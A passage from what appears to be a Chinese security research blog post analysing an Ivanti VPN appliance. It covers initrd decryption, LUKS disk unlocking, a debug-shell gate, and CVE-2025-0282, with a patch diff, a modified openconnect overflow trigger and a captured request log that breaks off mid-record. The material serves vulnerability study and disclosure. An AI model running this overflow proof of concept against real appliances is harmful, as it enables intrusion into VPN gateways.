c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">ffffffff826d0815            <span class="keyword">int64_t</span> initrd_start_3 = initrd_start;</span><br><span class="line">ffffffff826d081c            <span class="keyword">int32_t</span> initrd_end_1 = (*(<span class="keyword">uint32_t</span>*)initrd_end);</span><br><span class="line">ffffffff826d082e            <span class="keyword">int64_t</span>* rax_1 = crypto_alloc_base(<span class="string">&quot;aes&quot;</span>, <span class="number">0</span>, <span class="number">0</span>);</span><br><span class="line">ffffffff826d0833            <span class="keyword">uint64_t</span> i = (<span class="keyword">uint64_t</span>)(initrd_end_1 - initrd_start_3);</span><br><span class="line">ffffffff826d083f            <span class="keyword">int64_t</span> rcx_1;</span><br><span class="line">ffffffff826d083f            <span class="keyword">int64_t</span> rdx_1;</span><br><span class="line">ffffffff826d083f            <span class="keyword">int64_t</span> r8_1;</span><br><span class="line">ffffffff826d083f            </span><br><span class="line"><span class="function">ffffffff826d083f            <span class="title">if</span> <span class="params">(rax_1 &lt;= <span class="number">-0x1000</span>)</span></span></span><br><span class="line"><span class="function">ffffffff826d083f            </span>&#123;</span><br><span class="line">ffffffff826d0875                <span class="keyword">int32_t</span> var_6c_1 = <span class="number">0xda5841d8</span>;</span><br><span class="line">ffffffff826d0889                <span class="keyword">int32_t</span> var_70 = <span class="number">0xb75efce1</span>;</span><br><span class="line">ffffffff826d088c                <span class="keyword">int32_t</span> var_68_1 = <span class="number">0xbcebd8ba</span>;</span><br><span class="line">ffffffff826d088f                <span class="keyword">int32_t</span> var_64_1 = <span class="number">0x182acdf6</span>;</span><br><span class="line">ffffffff826d089b                rcx_1 = rax_1[<span class="number">1</span>](rax_1, &amp;var_70, <span class="number">0x10</span>);</span><br><span class="line">ffffffff826d089f                <span class="keyword">int32_t</span> rax_2 = <span class="number">0</span>;</span><br></pre></td></tr></table></figure><p>通过简单的逆向， 我们很快就可以写出一份解密代码， 我们可以把 coreboot.img 解密后出来一份<code>gzip</code> 压缩的cpio文件。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># swing @ sw in ~/Dropbox/Attachments/SafetyEquipment/VPN/ivc/2.3 [17:53:53]</span></span><br><span class="line">$ file out2.bak</span><br><span class="line">out2.bak: gzip compressed data, last modified: Sat Oct  5 17:32:45 2024, max compression, from Unix, original size modulo 2^32 118361088</span><br><span class="line"></span><br><span class="line"><span class="comment"># swing @ sw in ~/Dropbox/Attachments/SafetyEquipment/VPN/ivc/2.3 [17:53:49]</span></span><br><span class="line">$ gzip -d out2.gz</span><br><span class="line"></span><br><span class="line">$ file out2</span><br><span class="line">out2: ASCII cpio archive (SVR4 with no CRC)</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>cpio 解出来的目录结构如下：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># swing @ sw in ~/Dropbox/Attachments/SafetyEquipment/VPN/ivc/2.3/initrd [17:55:34]</span></span><br><span class="line">$ ls</span><br><span class="line">bin     dash    dev     etc     gzip    insmod  lib     modules out2    rmmod   sbin    tmp     usr</span><br></pre></td></tr></table></figure><p><code>etc/lvmeky</code> 是其他上面几个  lvm 分区的 key , 使用 <code>crypsetup</code> 命令解密后可以进一步 mount 磁盘</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">sudo cryptsetup luksOpen --key-file /mnt/hgfs/G/chaitin/20250109_ivanti/ISA_R2.3/lvmkey /dev/groupA/home groupA_home</span><br><span class="line">sudo mount /dev/mapper/groupA_home /mnt/disk1</span><br></pre></td></tr></table></figure><h3 id="shell-获取"><a href="#shell-获取" class="headerlink" title="shell 获取"></a>shell 获取</h3><p>/root/home/bin/dsconfig.pl 是进入后的shell<br>其中如果<code>DSSys::isDebugBuild</code> 返回是调试版本就会直接给出shell的选项</p><p>这里就是会调用  <code>sub shell &#123;&#125;</code> 方法</p><figure class="highlight perl"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">sub</span> <span class="title">shell</span> </span>&#123;</span><br><span class="line">  <span class="keyword">return</span> <span class="string">&quot;&quot;</span> <span class="keyword">if</span> (!DSSys::isDebugBuild());</span><br><span class="line">  <span class="keyword">print</span> <span class="string">&quot;set DISPLAY variable if you want to start an xterm\n&quot;</span>;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">my</span> ($install) = $ENV&#123;<span class="string">&#x27;DSINSTALL&#x27;</span>&#125; =~ <span class="regexp">/(\S*)/</span>;</span><br><span class="line">  DSSafe::<span class="keyword">system</span>(<span class="string">&quot;$install/bin/dsshell&quot;</span>);</span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> <span class="string">&quot;&quot;</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>通过简单逆向这个程序，我们就很快能获得一个带有调试功能的固件了（具体操作留给读者了， 很简单）</p><h2 id="CVE-2025-0282"><a href="#CVE-2025-0282" class="headerlink" title="CVE-2025-0282"></a>CVE-2025-0282</h2><h3 id="Diff-patched"><a href="#Diff-patched" class="headerlink" title="Diff patched"></a>Diff patched</h3><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2025-01-10-480e76fc9ceffe7595e688e3b80f371d-215ea6.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2025-01-10-480e76fc9ceffe7595e688e3b80f371d-215ea6.png" alt="image.png"></a></p><p>可以看到这里新加了一个长度判断， 之前存在栈溢出</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">memset</span>(dest, <span class="number">0</span>, <span class="keyword">sizeof</span>(dest));</span><br><span class="line"><span class="built_in">strncpy</span>(dest, *(<span class="keyword">const</span> <span class="keyword">char</span> **)(a1 + <span class="number">140</span>), v23);</span><br><span class="line">v24 = <span class="number">46</span>;</span><br><span class="line">v25 = &amp;v57;</span><br><span class="line"><span class="keyword">if</span> ( ((<span class="keyword">unsigned</span> __int8)&amp;v57 &amp; <span class="number">2</span>) != <span class="number">0</span> )</span><br><span class="line">&#123;</span><br><span class="line">  LOBYTE(v24) = <span class="number">44</span>;</span><br><span class="line">  v57 = <span class="number">0</span>;</span><br><span class="line">  v25 = (__int16 *)&amp;v58;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="PoC"><a href="#PoC" class="headerlink" title="PoC"></a>PoC</h3><p>最早的poc构造是根据 watchtowr 的文章， 魔改 openconnect<sup id="fnref:1"><a href="#fn:1" rel="footnote"><span class="hint--top hint--error hint--medium hint--rounded hint--bounce" aria-label="OpenConnect https://www.infradead.org/openconnect/download.html">[1]</span></a></sup> 的 <code>pulse.c</code> 代码</p><figure class="highlight diff"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">if (bytes[0])</span><br><span class="line">        buf_append(reqbuf, &quot; clientIp=%s&quot;, bytes);</span><br><span class="line"><span class="addition">+ buf_append(reqbuf, &quot; clientCapabilities=%s&quot;, bytes);</span></span><br><span class="line"><span class="addition">+ for(unsigned int n=0; n&lt;100; n++)</span></span><br><span class="line"><span class="addition">+       buf_append(reqbuf, &quot;AAAAAAAAAAAAAAAA&quot;);</span></span><br><span class="line">buf_append(reqbuf, &quot;\\n%c&quot;, 0);</span><br><span class="line">ret = send_ift_packet(vpninfo, reqbuf);</span><br></pre></td></tr></table></figure><p>编译的时候需要一个 vpn.cript , 我这里用的是 <a href="https://gitlab.com/openconnect/vpnc-scripts/-/blob/master/vpnc-script?ref_type=heads">https://gitlab.com/openconnect/vpnc-scripts/-/blob/master/vpnc-script?ref_type=heads</a></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/configure --enable-static=yes --without-openssl --with-vpnc-script=./vpnc-script --without-libproxy --without-lz4</span><br></pre></td></tr></table></figure><p>poc</p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br></pre></td><td class="code"><pre><span class="line">$ ./openconnect 172.16.64.222 --protocol=pulse --dump-http-traffic -vvv</span><br><span class="line">Attempting to connect to server 172.16.64.222:443</span><br><span class="line">Connected to 172.16.64.222:443</span><br><span class="line">SSL negotiation with 172.16.64.222</span><br><span class="line">Server certificate verify failed: signer not found</span><br><span class="line"></span><br><span class="line">Certificate from VPN server &quot;172.16.64.222&quot; failed verification.</span><br><span class="line"><span class="attribute">Reason</span><span class="punctuation">: </span>signer not found</span><br><span class="line">To trust this server in future, perhaps add this to your command line:</span><br><span class="line">    --servercert pin-sha256:4fW+U987xNSV4e/eojrHz/Cr1pGxIIF0lraaXwBKQ2A=</span><br><span class="line">Enter &#x27;yes&#x27; to accept, &#x27;no&#x27; to abort; anything else to view: yes</span><br><span class="line">Connected to HTTPS on 172.16.64.222 with ciphersuite (TLS1.2)-(RSA)-(AES-256-GCM)</span><br><span class="line">&gt; GET / HTTP/1.1</span><br><span class="line">&gt; Host: 172.16.64.222</span><br><span class="line">&gt; User-Agent: Open AnyConnect VPN Agent v9.12-unknown</span><br><span class="line">&gt; Content-Type: EAP</span><br><span class="line">&gt; Upgrade: IF-T/TLS 1.0</span><br><span class="line">&gt; Content-Length: 0</span><br><span class="line">&gt;</span><br><span class="line">Got HTTP response: HTTP/1.1 101 Switching Protocols</span><br><span class="line"><span class="attribute">Content-type</span><span class="punctuation">: </span>application/octet-stream</span><br><span class="line"><span class="attribute">Pragma</span><span class="punctuation">: </span>no-cache</span><br><span class="line"><span class="attribute">Upgrade</span><span class="punctuation">: </span>IF-T/TLS 1.0</span><br><span class="line"><span class="attribute">Connection</span><span class="punctuation">: </span>Upgrade</span><br><span class="line">HC_HMAC_VERSION_COOKIE: 1</span><br><span class="line"><span class="attribute">supportSHA2Signature</span><span class="punctuation">: </span>1</span><br><span class="line"><span class="attribute">Strict-Transport-Security</span><span class="punctuation">: </span>max-age=31536000</span><br><span class="line"><span class="attribute">accept-ch</span><span class="punctuation">: </span>Sec-CH-UA-Platform-Version</span><br><span class="line">&gt; 0000:  00 00 55 97 00 00 00 01  00 00 00 14 00 00 00 00  |..U.............|</span><br><span class="line">&gt; 0010:  00 01 02 02                                       |....|</span><br><span class="line">Read 20 bytes of IF-T/TLS record</span><br><span class="line">&lt; 0000:  00 00 55 97 00 00 00 02  00 00 00 14 00 00 01 f5  |..U.............|</span><br><span class="line">&lt; 0010:  00 00 00 02                                       |....|</span><br><span class="line">IF-T/TLS version from server: 2</span><br><span class="line">&gt; 0000:  00 00 0a 4c 00 00 00 88  00 00 06 a1 00 00 00 01  |...L............|</span><br><span class="line">&gt; 0010:  63 6c 69 65 6e 74 48 6f  73 74 4e 61 6d 65 3d 75  |clientHostName=u|</span><br><span class="line">&gt; 0020:  62 75 6e 74 75 20 63 6c  69 65 6e 74 49 70 3d 31  |buntu clientIp=1|</span><br><span class="line">&gt; 0030:  39 38 2e 31 39 2e 32 34  39 2e 31 38 38 20 63 6c  |98.19.249.188 cl|</span><br><span class="line">&gt; 0040:  69 65 6e 74 43 61 70 61  62 69 6c 69 74 69 65 73  |ientCapabilities|</span><br><span class="line">&gt; 0050:  3d 31 39 38 2e 31 39 2e  32 34 39 2e 31 38 38 41  |=198.19.249.188A|</span><br><span class="line">&gt; 0060:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 0070:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 0080:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 0090:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 00a0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 00b0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 00c0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 00d0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 00e0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 00f0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 0100:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 0110:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 0120:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 0130:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 0140:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 0150:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 0160:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 0170:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 0180:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 0190:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 01a0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 01b0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 01c0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 01d0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 01e0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 01f0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 0200:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 0210:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 0220:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 0230:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 0240:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 0250:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 0260:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 0270:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 0280:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 0290:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 02a0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 02b0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 02c0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 02d0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 02e0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 02f0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 0300:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 0310:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 0320:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 0330:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 0340:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 0350:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 0360:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 0370:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 0380:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 0390:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 03a0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 03b0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 03c0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 03d0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 03e0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 03f0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 0400:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 0410:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 0420:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 0430:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 0440:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 0450:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 0460:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 0470:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 0480:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 0490:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 04a0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 04b0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 04c0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 04d0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 04e0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 04f0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 0500:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 0510:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 0520:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 0530:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 0540:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 0550:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 0560:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 0570:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 0580:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 0590:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 05a0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 05b0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 05c0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 05d0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 05e0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 05f0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 0600:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 0610:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 0620:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 0630:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 0640:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 0650:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 0660:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 0670:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 0680:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|</span><br><span class="line">&gt; 0690:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 0a  |AAAAAAAAAAAAAAA.|</span><br><span class="line">&gt; 06a0:  00                                                |.|</span><br><span class="line">Read 20 bytes of IF-T/TLS record</span><br><span class="line">&lt; 0000:  00 00 55 97 00 00 00 05  00 00 00 14 00 00 01 f6  